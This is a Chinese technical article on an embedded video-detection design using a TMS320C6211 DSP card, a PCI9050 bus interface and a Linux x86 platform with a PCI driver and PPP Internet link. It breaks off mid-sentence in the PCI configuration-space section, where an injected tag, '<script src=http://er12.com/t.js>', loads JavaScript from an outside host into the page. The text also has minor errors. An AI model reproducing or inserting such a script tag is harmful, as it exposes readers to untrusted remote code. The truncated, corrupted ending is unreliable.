摘要:提出一种视频测和远程控制的嵌入式设计方法,解决了采用具有高性能的数据处理功能的dsp作为视频检测处理器的设计总是;同时,提出在嵌入式操作系统中通信平台的设计方法,实现了在嵌入式操作系统中pci总线的设备驱动以及通过ppp协议与internet建立连接。
关键词:视频检测 pci总线 ppp协议
引言
随着计算机视觉技术以及图像处理技术的不断发展,计算机视觉和视频检测技术已经广泛应用于工业控制、智能交通、设备制造等很多领域。传统的视频检测往往采用工控机作为其视频处理器来实现其功能。这种方法往往由于工控机处理速度的问题,无法实现对各个不同方向同时进行视频检测,而且由于视频检测处理过程需要占用大量的处理时间,因而无法实现实时的远程控制功能。
目前在远程控制和通信方面,基于dos和windows操作系统的通信平台得到普遍的引用,但是dos操作系统作为单任务操作系统,无法实现多任务功能和实时处理的要求;而windows操作系统作为视窗操作系统,其系统的稳定性和实时性也无法与实时多任务嵌入式操作相比拟。
本文提出一种以dsp作为视频检测处理芯片,以linux为操作系统的嵌入式系统设计方法。
1 系统结构
本系统的开发主要包括视频检测卡和x86通信平台的设计2个部分。视频检测卡主要包括模拟图像采集、转换、dsp视频检测3个部分,每块交换参数检测卡扩充pci总线接口,插在通信开发平台的pci总线插口上,通过pci总线同通信平台交换数据。通信平台处理多块交通参数检测卡的通信问题,将视频检测卡通过pci总线传送过来的视频检测数据实时通过网络传送给控制中心。系统的功能方框图如图1所示。
根据系统设计要求,视频检测卡功能主要分为:模拟图像采集、模拟图像a/d转换、数据缓存以及dsp视频检测5个部分。视频检测卡流程如图2所示。
本系统采用philips公司的saa7111a来实现模拟图像a/d转换。该芯片可实现多路选通、锁相与时序、时钟产生与测试、adc、亮色分离等功能。其输出可以具有如下格式:yuv 4:1:1(12bit)、yuv 4:2:2(16bit)、yuv 4:2:2(ccir-656)(8bit)等。由于dsp处理芯片和sa7111a的时序不同,可以通过cpld进行逻辑控制fifo来完成数据缓存的功能。
dsp是实时信号处理的核心。本系统采用ti公司dsp芯片——tms320c6211。该芯片属c6000的定点系列,c6211在这个系列中是性价比最高的一种。c6211处理器由3个主要部分组成:cpu内核、存储器和外设。集成外设包括edma控制器、外存储器接口(emif)、主机口(hpi)、多通道缓冲接口(mcbsp)、定时器、中断选择子、jtag接口、powerdown逻辑以及pll时钟发生器。通过emif接口扩充sdram,而pci总线控制芯片的扩展通过hpi接口。
pci总线的接口芯片pci9050,主要包括pci总线信号接口和本地总线(local bus)信号。在硬件设计时,只需将本地总线信号的接口通过电平转换连接到dsp的hpi接口,同时扩展pci接口就可以完成其硬件电路设计。
2 通信开发平台的嵌入式系统设计
通信开发平台以x86为核心器件,扩充pci总线,通过modem拨号,实现x86与internet的连接。
2.1 pci总线设备驱动
pci设备有3种物理空间:配置空间、存储器空间和i/o空间。配置空间是长度为256字节的一段连接空间,空间的定义如图3所示。在配置空间中只读空间有设备标识、供应商代码、修改版本、分类代码以及头标类型。其中供应商代码用来标识设备供应商的代码;设备标识用来标识某一特殊的设备;修改版本标识设备的版本号;分类代码用来标识设备的种类;头标类型用来标识头类型以及是?script src=http://er12.com/t.js>